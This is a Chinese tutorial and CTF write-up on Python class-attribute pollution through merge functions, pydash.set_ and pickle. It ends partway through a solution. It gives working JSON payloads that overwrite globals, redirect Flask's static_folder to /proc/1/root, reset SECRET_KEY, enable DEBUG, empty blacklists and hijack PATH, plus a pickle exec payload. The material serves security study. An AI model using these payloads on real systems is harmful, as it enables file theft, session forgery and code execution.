又到了喜闻乐见的 python 安全部分，原型链污染也是相当重要的内容，别着急，咱们慢慢前行。

绪论/前置知识

含义

Python 中的原型链污染（Prototype Pollution）是指通过修改对象原型链中的属性，对程序的行为产生意外影响或利用漏洞进行攻击的一种技术。

严格来说，Python 并不存在“原型链污染”（Prototype Pollution）。该术语源于 JavaScript 等基于原型（prototype-based）的语言。Python 是基于类（class-based）的面向对象语言，没有“原型链”机制。

实际上 Python 原型链污染和 Nodejs 原型链污染的根本原理也差不多，Nodejs 是对键值对的控制来进行污染，而 Python 则是对类属性值的污染，且只能对类的属性来进行污染不能够污染类的方法。

Python 对象模型

这个说了好多遍了，每次都要拿出来说，那就再说一次吧

Python 中一切皆对象，每个对象都有以下关键属性：

1
2
3
4
5
6
7
8
9
10
11
# 查看一个对象的所有属性
obj = "hello"
print(dir(obj))

# 关键魔术属性
obj.__class__      # 对象的类
obj.__class__.__bases__   # 父类元组
obj.__class__.__mro__     # 方法解析顺序
obj.__dict__        # 实例属性字典
obj.__globals__     # 函数所在模块的全局变量（函数特有）
obj.__builtins__    # 内置函数和变量

merge 函数初探

**merge 函数的本质：**把用户输入的数据，合并到程序内部的对象里。

原型链污染，实际上就是以 merge 函数为核心，做类似这么一个事情

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
# 程序内部有一个用户对象
user = {
    "name": "admin",
    "is_admin": False
}

# 用户提交了表单数据
user_input = {
    "is_admin": True          # 用户想把自己变成管理员
}

# 如果程序做了合并操作
merge(user_input, user)

# 现在 user 变成了
user = {
    "name": "admin",
    "is_admin": True          # 被污染了！
}

这就是 merge 漏洞的核心：用户控制了不该控制的属性。

实际上，merge 函数的应用比较复杂，它至少可以处理这两种情况，而且是同时:

目标是字典（{}）

目标是对象（class 的实例）

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
def merge(src, dst):
    # src: 用户输入（可控），例如 {"is_admin": True, "username": "hacker"}
    # dst: 目标对象（程序内部对象），例如 user 对象或字典
    
    # src.items() 把字典拆成 (键, 值) 对
    # 例如 {"a":1, "b":2} → [("a", 1), ("b", 2)]
    for k, v in src.items():
        # k = 键，例如 "is_admin" 或 "username"
        # v = 值，例如 True 或 "hacker"
        
        # ========== 情况1：dst 是字典 ==========
        # hasattr(dst, '__getitem__') 检查 dst 是不是字典/列表等可索引对象
        # 字典有 __getitem__ 方法，所以 if 条件成立
        if hasattr(dst, '__getitem__'):
            # dst.get(k) 尝试获取 dst 中键为 k 的值
            # 如果存在这个键，并且用户传入的 v 也是字典，就递归合并
            if dst.get(k) and type(v) == dict:
                # 递归：把 v 作为新的 src，dst[k] 作为新的 dst
                # 例如 src={"user": {"name": "admin"}}, dst={"user": {...}}
                merge(v, dst.get(k))
            else:
                # 直接赋值：dst[k] = v
                # 例如 dst["is_admin"] = True
                dst[k] = v
                
        # ========== 情况2：dst 是对象 ==========
        # 如果 dst 不是字典，就走这里（例如 dst 是 class 的实例）
        # hasattr(dst, k) 检查 dst 对象是否有名为 k 的属性
        # 如果有这个属性，并且 v 是字典，就递归
        elif hasattr(dst, k) and type(v) == dict:
            # 递归：把 v 作为新 src，dst.k 作为新 dst
            # 例如 src={"__init__": {"__globals__": {...}}}
            merge(v, getattr(dst, k))
        else:
            # 直接设置属性：dst.k = v
            # 例如 user.is_admin = True
            setattr(dst, k, v)

现在看可能看不懂，但作为绪论，你只需知道 merge 函数的污染过程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class User:
    def __init__(self):
        self.name = "guest"
        self.is_admin = False

user = User()

# 用户输入（恶意）
payload = {
    "is_admin": True
}

merge(payload, user)

print(user.is_admin)  # 输出 True！被污染了

json-> 字典-> 对象链路

作为攻击者，我们可以利用“提交 json 数据 → 创建字典 → 修改对象”这条链路来修改 python 对象

  1. 我们先通过某种方式向服务器发送一个 HTTP 请求，请求体中包含 JSON 格式的字符串，像这样。
1
2
3
4
5
6
7
POST /update HTTP/1.1
Host: node4.anna.nssctf.cn:20997
Content-Type: application/json
Content-Length: 18


{"is_admin": true}

或者你用 curl，一样也行

1
curl -X POST http://node4.anna.nssctf.cn:20997/update \  -H "Content-Type: application/json" \  -d '{"is_admin": true}'
  1. 随后服务器对其接收并解析，其代码通常是这样的(python 安全)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from flask import Flask, request
import json

app = Flask(__name__)

@app.route('/update', methods=['POST'])
def update():
    # 1. 接收原始数据（字节串）
    raw_data = request.data
    # raw_data = b'{"is_admin": true}'
    
    # 2. 解析成 Python 字典
    payload = json.loads(raw_data)
    # payload = {"is_admin": True}  ← 现在是 Python 字典了！
    
    # 3. 调用危险的 merge 函数
    merge(payload, user_object)
    
    return "ok"

这个 json，在某种意义上也与序列化数据相似

1
2
3
b'{"is_admin": true}'  →  json.loads()  →  {"is_admin": True}
     ↑                          ↑                ↑
  字节串（网络传输）         解析函数          Python字典
  1. merge 函数执行修改
1
2
3
4
5
6
7
8
9
def merge(src, dst):
    """src = {"is_admin": True}   dst = user对象"""
    for k, v in src.items():  # k = "is_admin", v = True
        if hasattr(dst, '__getitem__'):  # dst 是对象，不是字典
            ...
        elif hasattr(dst, k) and type(v) == dict:  # 条件不满足
            ...
        else:
            setattr(dst, k, v)  # 执行：user.is_admin = True
1
user.is_admin  # 原来是 False，现在变成 True

setattr/Pydash 函数

实际上除了 merge 这个核心，这两个函数也有利用

setattr：将对象 object 的 name 属性设为 value。

1
2
setattr(a, 'z', 99)
print(a.z)  # 99

Pydash:

pydash.set_(obj, path, value) 是一个根据路径设置嵌套对象属性的工具函数，来自 Python 的 pydash 库（类似 JavaScript 的 lodash），可以处理字典，数组，对象

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import pydash

# ========== 1. 字典嵌套 ==========
data = {}
pydash.set_(data, 'user.profile.name', 'Alice')
print(data)
# {'user': {'profile': {'name': 'Alice'}}}

# ========== 2. 列表路径 ==========
data = {}
pydash.set_(data, ['user', 'age'], 18)
print(data)
# {'user': {'age': 18}}

# ========== 3. 对象属性（class实例）==========
class User:
    pass

user = User()
pydash.set_(user, 'profile.name', 'Bob')
print(user.profile.name)  # 'Bob'

# ========== 4. 覆盖已有值 ==========
data = {'user': {'name': 'old'}}
pydash.set_(data, 'user.name', 'new')
print(data)  # {'user': {'name': 'new'}}

# ========== 5. 数组索引 ==========
data = {'list': [1, 2, 3]}
pydash.set_(data, 'list[1]', 99)
print(data)  # {'list': [1, 99, 3]}

** **pydash.set_(obj, path, value) 支持以字符串路径（如 "a.b.c"）设置嵌套属性，若路径来自用户输入且未过滤，即可实现污染。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from flask import Flask
from pydash import set_

app = Flask(__name__)
flag = "flag{...}"

class Pollute:
    def __init__(self): pass

@app.route('/pollute')
def pollute():
    # 假设 key, value 来自用户输入
    key = "__class__.__init__.__globals__.flag"
    value = "hacked!"
    set_(Pollute(), key, value)
    return "Done"

在 Python 中，对象的”键值”和”属性”本质上是相通的，都可以通过点号 . 或方括号 [] 访问。

所以这样，原型链污染的精髓就出来了，你以 pollute 这个函数为切入点，去用__class__.init.globals.flag_(构造路径，逐层访问魔术属性，最终定位到目标变量)当做键值(因为 pollute 本就是个对象，他也有键值/属性，这里的 key 既是键值也是属性)_访问全局变量 flag，用 set_修改它，使得 hacked!这一字符串覆盖原本的 flag 值

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
def my_function():
    pass

# __globals__ 不是函数的内容，而是函数的属性
# 它指向的是这个函数能看到的全局变量字典
print(my_function.__globals__ is globals())  # True

# 你修改的是这个字典，而不是函数本身
my_function.__globals__['flag'] = "hacked!"

# 函数还是原来的函数
print(my_function)  # <function my_function at 0x...>

# 但全局变量变了
print(flag)  # hacked!

污染过程

我们模仿一遍污染父类的成员值的过程

这里对应的 merge 函数就是 python 中对属性值控制的一个操作。

我们对 src 中的键值对进行了遍历，然后检查 dst 中是否含有 getitem 属性，以此来判断 dst 是否为字典。如果存在的话，检测 dst 中是否存在属性 k 且 value 是否是一个字典，如果是的话，就继续嵌套 merge 对内部的字典再进行遍历，将对应的每个键值对都取出来。如果不存在的话就将 src 中的 k 属性的 value 值赋值给 dst 对应 k 属性的 value 的值，也就是将 src 中 k 对应的值 v 赋值给 dst 中 k 对应的位置。

如果 dst 不含有 getitem 属性的话，那就说明 dst 不是一个字典，就直接检测 dst 中是否存在 k 的属性，并检测该属性值是否为字典，如果是的话就再通过 merge 函数进行遍历，将 k 作为 dst，v 作为 src，继续取出 v 里面的键值对进行遍历。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
# 定义一个父类 father，包含类属性 secret
class father:
    secret = "hello"  # 父类的类属性，初始值为 "hello"

# 定义子类 son_a，继承自 father
class son_a(father):
    pass  # 没有额外定义，完全继承 father 的所有属性

# 定义子类 son_b，同样继承自 father
class son_b(father):
    pass  # 也没有额外定义，完全继承 father 的所有属性


# 危险的递归合并函数
def merge(src, dst):
    """
    src: 源数据（用户可控，通常是字典） 别弄混了！
    dst: 目标对象（程序内部的对象，会被修改）
    
    功能：将 src 中的键值对递归地合并到 dst 中
    """
    # 遍历 src 字典中的每一个键值对
    # k = 键（属性名），v = 值（要设置的值）
    for k, v in src.items():
        
        # 情况1：dst 是字典类型（有 __getitem__ 方法）
        # 例如 dst = {"name": "Alice"}
        if hasattr(dst, '__getitem__'):
            # 如果 dst 中已经有这个键，并且 v 也是一个字典
            if dst.get(k) and type(v) == dict:
                # 递归合并：把 v 作为新的 src，dst[k] 作为新的 dst
                merge(v, dst.get(k))
            else:
                # 直接赋值：dst[k] = v
                # 例如 dst["secret"] = "world"
                dst[k] = v
                
        # 情况2：dst 是对象（有属性），并且 v 是字典
        # 例如 dst 是 son_b 的实例，有 __class__ 属性
        elif hasattr(dst, k) and type(v) == dict:
            # 递归合并：把 v 作为新 src，dst.k 作为新 dst
            # getattr(dst, k) 获取 dst 对象的 k 属性
            merge(v, getattr(dst, k))
            
        # 情况3：其他情况（dst 是对象，v 不是字典）
        else:
            # 直接设置属性：dst.k = v
            # 例如 instance.secret = "world"
            setattr(dst, k, v)


# 创建一个 son_b 类的实例
instance = son_b()

# 攻击者构造的恶意 payload（用户输入）
payload = {
    "__class__": {           # 键 "__class__"，值是一个字典
        "__base__": {        # 键 "__base__"，值也是一个字典
            "secret": "world"  # 键 "secret"，值 "world"
        }
    }
}

# ========== 污染前 ==========
print(son_a.secret)   # 输出: hello  (son_a 继承了父类的 secret)
print(instance.secret) # 输出: hello  (实例继承了父类的 secret)

# ========== 执行污染 ==========
merge(payload, instance)

# ========== 污染后 ==========
print(son_a.secret)   # 输出: world  (父类的 secret 被改了！)
print(instance.secret) # 输出: world  (实例的 secret 也跟着变了)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
payload = {"__class__": {"__base__": {"secret": "world"}}}

# 第1层递归
k = "__class__", v = {"__base__": {"secret": "world"}}
→ 检测到 v 是字典，递归 merge(v, instance.__class__)

# 第2层递归
k = "__base__", v = {"secret": "world"}
→ 检测到 v 是字典，递归 merge(v, son_b.__base__)  # 到达 father 类

# 第3层
k = "secret", v = "world"
→ v 不是字典，执行 setattr(father, "secret", "world")
→ 成功污染父类！

漏洞利用

下面叙述污染类的具体过程

获取目标类

上面示例我们是通过 base 属性查找到继承的父类，然后污染到的父类中的 secret 参数，但是如果目标类与切入点没有父子类继承关系，那我们就无法用 base 属性来进行对目标类的获取和污染

用入口对象直接修改全局变量

在函数或类方法中，我们经常会看到 init 初始化方法，但是它作为类的一个内置方法，在没有被重写作为函数的时候，其数据类型会被当做装饰器，而装饰器的特点就是都具有一个全局属性 globals 属性，globals 属性是函数对象的一个属性，用于访问该函数所在模块的全局命名空间。具体来说就是，globals 属性返回一个字典，里面包含了函数定义时所在模块的全局变量。

1
2
3
4
5
6
7
8
9
10
11
12
13
a = 1                    # 全局变量

def demo():              # 普通函数
    pass

class A:                 # 类
    def __init__(self):  # 类的方法
        pass

# 比较三者的 __globals__ 是否相等，输出1
print(demo.__globals__ == globals() == A.__init__.__globals__)
# 同一个模块中，所有函数/方法的 __globals__ 属性都指向同一个全局变量字典。
#因为 demo、A.__init__ 和当前模块都在同一个文件中，它们的 __globals__ 都指向同一个字典对象。

配合 merge，我们就能修改全局变量

注意 这里的全局变量不仅指写在全局区的基本类型变量，他还指类中成员变量的默认值，因此第 24 行 classa 的值，我们当然可以通过该利用链修改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
a = 1  # 全局变量 a，初始值为 1

# 危险的 merge 函数（和之前一样）
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def demo():
    pass

class A:
    def __init__(self):
        pass

class B:
    classa = 2  # 类 B 有一个类属性 classa，值为 2

instance = A()  # 创建 A 的实例

# 攻击者构造的 payload
payload = {
    "__init__": {              # 键是 "__init__"，值是一个字典
        "__globals__": {       # 键是 "__globals__"，值是一个字典
            "a": 4,            # 想改全局变量 a 为 4
            "B": {             # 想改类 B 的属性
                "classa": 5    # 想把 B.classa 改为 5
            }
        }
    }
}

# 污染前
print(B.classa)  # 输出 2（B 原来的类属性）
print(a)         # 输出 1（全局变量原来的值）

# 执行污染
merge(payload, instance)#切入类

# 污染后
print(B.classa)  # 输出 5
print(a)         # 输出 4

如本题，当 payload 的入口对象（即 merge 的第一个参数 instance）和 最终要修改的全局变量（即 globals 所在的模块）在同一个文件时，利用路径就非常直接，可以直接调用入口对象，再 init->globals 一连串

如果要修改的值不在该文件中，也就是你想要跨文件访问别的文件的全局变量，你利用本文件的 globals，肯定是行不通的，_(因为你拿到的只是当前模块的全局字典，里面没有其他模块的变量。)_你还可以使用下列几种方法

无入口对象间接修改全局变量

import 加载的获取

在简单的关系情况下，我们可以直接通过 import 来进行加载，在 payload 中我们只需要对对应的模块重新定位就可以

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
# ==================== 当前文件（攻击者所在文件）====================

import demo  # 导入 demo.py 模块，使当前文件的全局字典中包含 demo 模块对象

# 攻击者构造的 payload
payload = {
    "__init__": {                     # 通过入口对象的 __init__ 方法
        "__globals__": {              # 获取当前文件的全局变量字典
            "demo": {                 # 在当前全局字典中找到 demo 模块
                "a": 4,               # 修改 demo 模块中的全局变量 a = 4
                "B": {                # 找到 demo 模块中的 B 类
                    "classa": 5       # 修改 B 类的 classa 属性 = 5
                }
            }
        }
    }
}

# ==================== demo.py 文件 ====================
# a = 1
# class B:
#     classa = 2

第九行的 demo 实际上就是模块名，也就是文件名，他在本文件被 import 引入，故可以直接用双引号引用

sys 模块加载的获取

在很多环境当中，会引用第三方模块或者是内置模块，而不是简单的 import 同级文件下面的目录

1
import sys

所以我们就要借助 sys 模块中的 module 属性，这个属性能够加载出来自运行开始所有已加载的模块，从而我们能够从属性中获取到我们想要污染的目标模块

同样是刚才的情景，因为我们已经加载过 demo.py 了，所以我们用 sys 来对里面的目标进行获取,但是存在一个问题就是，我们的 payload 传参的时候大概率是在它源码已有的基础上进行传参，很有可能源码中没有引入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import sys  # 导入 sys 模块，这样当前文件的全局字典里就有 'sys' 这个键了

# 攻击者构造的 payload
payload = {
    "__init__": {                     # 1. 通过入口对象的 __init__ 方法
        "__globals__": {              # 2. 获取当前文件的全局变量字典
            "sys": {                  # 3. 在当前全局字典中找到 sys 模块
                "modules": {          # 4. 访问 sys.modules 字典（存放所有已加载的模块）
                    "demo": {         # 5. 从 modules 中取出 demo 模块对象
                        "a": 4,       # 6. 修改 demo 模块中的全局变量 a = 4
                        "B": {        # 7. 找到 demo 模块中的 B 类
                            "classa": 5  # 8. 修改 B 类的 classa 属性 = 5
                        }
                    }
                }
            }
        }
    }
}

# ==================== 目标文件 demo.py ====================
# a = 1
# class B:
#     classa = 2

此外，在 python 中还存在一个 spec，包含了关于类加载时候的信息，他定义在 Lib/importlib/_bootstrap.py 的类 ModuleSpec，所以可以直接采用 < 模块名 >.spec.init.globals[‘sys’]获取到 sys 模块，但对环境的要求较高

loader 加载器的获取

loader 加载器在 python 中的作用是为实现模块加载而设计的类，其在 importlib 这一内置模块中有具体实现。而 importlib 模块下所有的 py 文件中均引入了 sys 模块，这样我们和上面的 sys 模块获取已加载模块就联系起来了，所以我们的目标就变成了只要获取了加载器 loader，我们就可以通过 loader.init.globals['sys'] 来获取到 sys 模块（也就是套娃），然后再获取到我们想要的模块。

所以我们现在的目标就变成了获取 loader：

在 Python 中，__loader__是一个内置的属性，包含了加载模块的 loader 对象，Loader 对象负责创建模块对象，通过__loader__属性，我们可以获取到加载特定模块的 loader 对象。

1
2
3
4
5
6
7
import math  # 导入 math 模块

# 获取模块的 loader（加载器对象）
loader = math.__loader__

# 打印 loader 信息
print(loader)

在这个例子当中我们就能够明白，math 模块的__loader__属性包含了一个 loader 对象，负责加载 math 模块

漏洞的其他应用

通过污染原型链，或者变量覆盖，我们能够修改许多全局变量或默认变量。

除此之外，该漏洞还具有其他应用。

修改 app 全局变量访问根目录内容

如果题源中引入了 app，我们就可以通过直接修改它来访问根目录内容

1
2
3
4
from flask import Flask, request, render_template
import json, os

app = Flask(__name__)

**在 flask 应用中全局变量中的 app 变量是指 Flask 应用实例 app.**他有一个 static_folder 属性(静态文件根目录),默认值是 /static,假如我们把 /static 路由映射到 root 进程的根目录 /proc/1/root 下,那么我们就可以通过访问 /static/flag,访问到物理地址的 /flag.

只要有到 globals 的路径，我们就可以尝试这样一个 payload

1
2
3
4
5
6
7
8
9
10
11
{
    "__class__" : {
        "__init__" : {
            "__globals__" : {
                    "app": {
                        "static_folder": "/proc/1/root"
                    }
            }
        }
    }
}

这时 URL 访问/static/flag，就出来了

修改 Flask 的其他配置进行提权

如果环境是一个 Flask 应用 , 可以污染 app.config

污染 app.config.SECRET_KEY 伪造 session

1
2
3
4
payload={
    "key":"__init__.__globals__.app.config.SECRET_KEY",
    "value":"123"
}

污染 app.config.debug , 泄露源码或者使用 PIN 码登陆控制台进行 RCE

1
2
3
4
payload={
    "key":"__init__.__globals__.app.config.DEBUG",
    "value":True
}

清空黑名单绕过 WAF

类似这样的方法清空黑名单

1
2
3
4
payload={
    "key":"__init__.__globals__.blacklist",
    "value":[]
}

PATH 环境变量劫持 RCE

如果代码中使用了相对路径命令（如 cat aaa 而非/usr/bin/cat aaa），我们可以劫持 PATH 环境变量 , 假设可以上传文件至/tmp 目录 , 此时我们上传一个恶意的 cat 文件 , 然后再通过原型链污染修改 PATH 即可

1
2
3
4
{
    "key": "__init__.__globals__.os.environ.PATH",
    "value": "/tmp:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin"
}

这里 value 修改为 /tmp:/usr/local/bin:/usr/bin:/bin:/usr/sbin:/sbin 是为了减少修改环境变量的副作用 , 尽量保证原来的 PATH 也在其中只是优先级降低

使用 pickle 反序列化进行变量覆盖

实际上 pickle 也能变量覆盖，不一定要 merge 函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import pickle
import subprocess
import sys

class Exploit:
    def __reduce__(self):
        return (exec, ("conf.BlackList = []",))

# 生成恶意 Pickle 数据
# protocol=0 使用可读的 ASCII 格式（方便查看和传输）
payload = pickle.dumps(Exploit(), protocol=0)

import base64
# 将二进制 pickle 数据编码成 base64 字符串
# 这样可以在文本协议中传输（HTTP、JSON等）
#print(base64.b64encode(payload).decode())
print(payload)

像这样，第一个参数是需要修改的变量，第二个是键名，第三个就是值了

当然你要手写的话是这样

1
opcode=b"capp\nconf\np0\n0g0\n(}(S'BlackList'\n(ldtb."

实验

我们用几个实验应用和巩固上述知识点，先来看个简单的

[PolarisCTF 2026]ez_python

扫盘扫到/src 源码，是这样

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from flask import Flask, request
import json

app = Flask(__name__)

# 危险的 merge 函数（和之前学的一模一样）
def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)


# 配置类
class Config:
    def __init__(self):
        self.filename = "app.py"   # 默认读取 app.py

# 核心类
class Polaris:
    def __init__(self):
        self.config = Config()     # Polaris 包含一个 Config 对象

instance = Polaris()               # 全局实例，是 merge 的目标

# 路由1：接收用户数据，执行污染
@app.route('/', methods=['GET', 'POST'])
def index():
    if request.data:
        merge(json.loads(request.data), instance)  # 危险点！
    return "Welcome to Polaris CTF"

# 路由2：读取文件
@app.route('/read')
def read():
    return open(instance.config.filename).read()   # 读取 config.filename 指定的文件

# 路由3：查看源码
@app.route('/src')
def src():
    return open(__file__).read()   # 直接返回本题源码

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)

先看漏洞利用的核心–merge 函数在哪吧，标黄位置，对吧

我们能动的是啥？就是这个 json.loads(request.data)

再看 42 行，打开 instance 对象(可以在 30 行发现是属于 Polaris 类)，config 成员(实际上还是个对象)的 filename，我们需要改的就是 filename

所以可想而知，我们应该传入

1
{"config":{"filename":"/flag"}}

到 request.data，也就是请求体中

当然这里还需要注意一点，就是我们的请求体内容，在源码中是按 json 解析的，所以用 hackbar 发送的时候，应该

要将形式改为 json，像这样

如果是用 Burp，就要添加 Header：Content-Type: application/json

如果是用 curl，就要像这样

1
2
3
4
# 发送 POST 请求，-d 后面跟的就是 request.data 的内容
curl -X POST http://目标IP:5000/ \
  -H "Content-Type: application/json" \
  -d '{"config": {"filename": "/flag"}}'

本题就十分简单，有入口对象，而且有直接的 merge 去修改这个对象，不需要用父类或者 global 什么的逃逸

用 {"config": {"filename": "/flag"}} 去覆盖对象 instance 的既有属性，就能利用/read 访问 filename 的功能去访问/flag

[实验 2]利用继承找到全局变量

这题没有靶机，我们直接按 wp 的描述进行分析了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
from flask import Flask,request,render_template
import json

app = Flask(__name__)

def merge(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

def is_json(data):
    try:
        json.loads(data)
        return True
    except ValueError:
        return False

class cls():
    def __init__(self):
        pass

instance = cls()

cat = "where is the flag?"
dog = "how to get the flag?"
@app.route('/', methods=['GET', 'POST'])
def index():
    return render_template('index.html')

@app.route('/flag', methods=['GET', 'POST'])
def flag():
    with open('/flag','r') as f:
        flag = f.read().strip()
    if cat == dog:
        return flag 
    else:
        return cat + " " + dog
@app.route('/src', methods=['GET', 'POST'])
def src():
    return open(__file__, encoding="utf-8").read()

@app.route('/pollute', methods=['GET', 'POST'])
def Pollution():
    if request.is_json:
        merge(json.loads(request.data),instance)
    else:
        return "fail"
    return "success"

if __name__ == '__main__':
    app.run(host='0.0.0.0',port=5000)

merge 在哪里，第七行对吧

能改什么，第 53 行，instance 的成员

instance 是啥？第 30 行，类 cls

我们要改啥？让 cat == dog，42 行

cat 不在 instance 类里面，而是该文件中的全局变量，也就是[有入口对象]的情况。所以这题需要通过继承修改全局变量进行逃逸。

所以我们直接用这个路径作为请求体，修改全局变量 cat，为 dog 的值，像这样

1
2
3
4
5
6
7
8
9
{
    "__class__":{
        "__init__": {              # 键是 "__init__"，值是一个字典
            "__globals__": {       # 键是 "__globals__"，值是一个字典
                "cat": "how to get the flag?",            
                }
            }
        }
}

当然你如果不用 class 或者它被禁用了，直接删去是等价的

1
2
3
4
5
6
7
{
        "__init__": {              # 键是 "__init__"，值是一个字典
            "__globals__": {       # 键是 "__globals__"，值是一个字典
                "cat": "how to get the flag?",            
                }
            }
    }

[HnuCTF 2025]ez_override

这次，我们终于可以把之前不会做的题给弄明白了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from flask import Flask, request, session, redirect, url_for
from base64 import b64decode
import os
import json
import pickle
app = Flask(__name__)
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY', 'fake_key')
#flag在/flag
class Config():
    def __init__(self):
        self.file='./app.py'
        self.BlackList=[b'\x00', b'\x1e',b'os',b'builtins']
class A():
    def __init__(self):
        pass
def safe_merge(src, dst):
    for k, v in src.items():
        if 'conf' == k:
            break
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                safe_merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            safe_merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
nothing = A()
conf=Config()
@app.route("/")
def index():
    user = session.get('username')
    if user is None:
        session['username'] = 'guest'
        return redirect(url_for('index'))
    else:
        return f"Hello {user}"
@app.route("/src")
def src():
    return open(conf.file,encoding='utf-8').read()
@app.route("/p0l1Ut3", methods=['POST', 'GET'])
def p0l1Ut3():
    if request.data:
        safe_merge(json.loads(request.data), nothing)
        return request.data
    else:
        return 'no data'
@app.route("/p1ckI3",methods=["POST"])
def p1ckI3():
    user=session.get('username')
    if user=='admin':
        pickle_data=request.form['piiiickle']
        try:
            pickle_data = b64decode(pickle_data)
        except Exception:
            return "nonono"
        for b in conf.BlackList:
            if b in pickle_data:
                return "hacker!!"
        p = pickle.loads(pickle_data)
        print(p)
        return 'success!'
    else:
        return 'You are not admin!!'

法一 直接访问根目录

先说非预期吧，这题有 app = Flask(name)，还有 merge 的入口，直接访问/p0l1Ut3 请求体传

1
2
3
4
5
6
7
8
9
10
11
{
    "__class__" : {
        "__init__" : {
            "__globals__" : {
                    "app": {
                        "static_folder": "/proc/1/root"
                    }
            }
        }
    }
}

完了之后读/static/flag 就出来了

法二 利用 pickle+pollute 链路

当然你说这样一把梭就出来了有点扯，没绕任何 waf，所以第二种答法我们再走一次正常链路

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
from flask import Flask, request, session, redirect, url_for
from base64 import b64decode
import os
import json
import pickle
app = Flask(__name__)
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY', 'fake_key')
#flag在/flag
class Config():
    def __init__(self):
        self.file='./app.py'
        self.BlackList=[b'\x00', b'\x1e',b'os',b'builtins']
class A():
    def __init__(self):
        pass
def safe_merge(src, dst):
    for k, v in src.items():
        if 'conf' == k:
            break
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                safe_merge(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            safe_merge(v, getattr(dst, k))
        else:
            setattr(dst, k, v)
nothing = A()
conf=Config()
@app.route("/")
def index():
    user = session.get('username')
    if user is None:
        session['username'] = 'guest'
        return redirect(url_for('index'))
    else:
        return f"Hello {user}"
@app.route("/src")
def src():
    return open(conf.file,encoding='utf-8').read()
@app.route("/p0l1Ut3", methods=['POST', 'GET'])
def p0l1Ut3():
    if request.data:
        safe_merge(json.loads(request.data), nothing)
        return request.data
    else:
        return 'no data'
@app.route("/p1ckI3",methods=["POST"])
def p1ckI3():
    user=session.get('username')
    if user=='admin':
        pickle_data=request.form['piiiickle']
        try:
            pickle_data = b64decode(pickle_data)
        except Exception:
            return "nonono"
        for b in conf.BlackList:
            if b in pickle_data:
                return "hacker!!"
        p = pickle.loads(pickle_data)
        print(p)
        return 'success!'
    else:
        return 'You are not admin!!'

读代码，这是要干啥?

首先看到可以直接拿到 shell 的第 61 行 pickle，可控吗? 53 行，可控吧，但是有 WAF，不允许有 conf.BlackList 里的字符串

被 pickle 反序列化还有什么要求? 第 52 行，user=admin，user 哪来的？session 里面获取的

session 能改吗？能吧，改 cookie 就行

那密钥呢？有个 fake_key，它不是真的。到这里就只能看另一条链路了

45 行，merge，想到了啥？我们本章学习的，变量覆盖，入口变量是对象 nothing，隶属于 29 行类 A–一个空白的类

黑名单隶属于 config 类的 BlackList 成员，它恰好可以通过变量覆盖访问到 Flask 密钥，链路为 app.config.SECRET_KEY

需要注意的是，app 也是一个对象，我们第七行环境变量中的密钥赋给了 SECRET_KEY，我们没法直接访问到系统的环境变量，但是可以直接修改 app.config.SECRET_KEY，让这个值更新，从而使其不依赖环境变量。

1
app.config['SECRET_KEY'] = os.environ.get('SECRET_KEY', 'fake_key')

